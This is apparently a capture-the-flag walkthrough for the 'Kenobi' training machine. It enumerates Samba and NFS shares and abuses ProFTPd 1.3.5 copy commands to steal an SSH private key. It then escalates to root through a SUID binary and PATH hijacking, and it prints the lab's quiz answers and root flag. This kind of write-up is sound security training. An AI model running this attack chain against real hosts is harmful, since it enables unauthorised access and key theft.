Kenobi

• Enumerate Samba for shares, manipulate a vulnerable version of ProFTPd and escalate your privileges with path variable manipulation.

Task 1: Deploy the Vulnerable Machine

• Scan the machine.

nmap -sC -sV 10.10.133.242

http://10.10.133.242

Q: Scan the machine with nmap, how many ports are open?

A: 7

/admin.html disallowed entry.

http://10.10.133.242/admin.html — This should look familiar.

Task 2: Enumerating Samba for Shares

Samba Bg:

• Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often referred to as a network file system.

• Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.

Port 139 and 445.

nmap -p 445 — script=smb-enum-shares.nse,smb-enum-users.nse 10.10.133.242

Enumerating Samba shares.

Q: Using the nmap command above, how many shares have been found?

A: 3

Failed attempt at fuzzing for outstanding directories.

• Connect to the machine’s network share.

smbclient //10.10.133.242/anonymous

When asked for a password do not give up. Try pressing “Enter” :)

Q: Once you’re connected, list the files on the share. What is the file you can see?

A: log.txt

smbget -R smb://10.10.133.242/anonymous

• Open the file on the share.

• View log.txt and find what port FTP is running on.

Q: What port is FTP running on?

A: 21

• Our earlier nmap port scan will have shown port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.

nmap -p 111 — script=nfs-ls,nfs-statfs,nfs-showmount 10.10.133.242

Enumerating port 111 to access network file system and view mount point.

Q: What mount can we see?

A: /var

Task 3: Gain Initial Access with ProFTPd

ProFTPd Bg:

• ProFtpd is a free and open-source FTP server, compatible with Unix and Windows systems. Its also been vulnerable in the past software versions.

• Use Netcat to connect to the machine on the FTP port.

nc 10.10.133.242 21

Running nc to glean information on ProFTPd’s version.

Q: What is the version?

A: 1.3.5

• Use Searchsploit to find exploits for proFTPd 1.3.5 version of software.

Searchsploit Bg:

• Searchsploit is a command line search tool for Exploit-DB that also allows you to take a copy of Exploit Database with you, everywhere you go. (https://www.exploit-db.com/).

searchsploit proftpd 1.3.5

Running Searchsploit.

Q: How many exploits are there for the ProFTPd running?

A: 4

• Copy Kenobi’s private key using SITE CPFR (Copy File From Remote) and SITE CPTO (Copy File To Remote) commands.

Using SITE CPFR and SITE CPTO commands.

• We know that the /var directory was a mount we could see (when we used: nmap -p 111 — script=nfs-ls,nfs-statfs,nfs-showmount 10.10.2.185) so we’ve now moved Kenobi’s private key to the /var/tmp directory.

• Now we can mount the /var/tmp directory to our machine.

mkdir /mnt/kenobiNFS
mount 10.10.2.185:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS

Mounting.

• Now that we have a network mount on our deployed machine, we can go to /var/tmp and get the private key and then login to Kenobi’s account.

cp /mnt/kenobiNFS/tmp/id_rsa .
sudo chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.2.185

Getting the Private Key and logging into Kenobi’s account.

Task 4: Privilege Escalation with Path Variable Manipulation

• Understanding what SUID, SGID and Sticky Bits are:

• Running the following to search the system for other custom files that could have the SUID bit.

find / -perm -u=s -type f 2>/dev/null

Locating path/binary.

Q: What file looks particularly out of the ordinary?

A: /usr/bin/menu

Running the binary.

Q: Run the binary, how many options appear?

A: 3

• Run the following:

strings /usr/bin/menu

• This tells us that as the file runs with root user privileges, we can manipulate our path to gain a root shell.

• As this file runs as the root users privileges, we can manipulate our path to gain a root shell.

cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH

Manipulating our path to gain a root shell.

Gaining root shell and discovering flag.

• We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the “curl” binary, which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!

Q: What is the root flag (/root/root.txt)?

A: 177b3cd8562289f37382721c28381f02

Congratulations!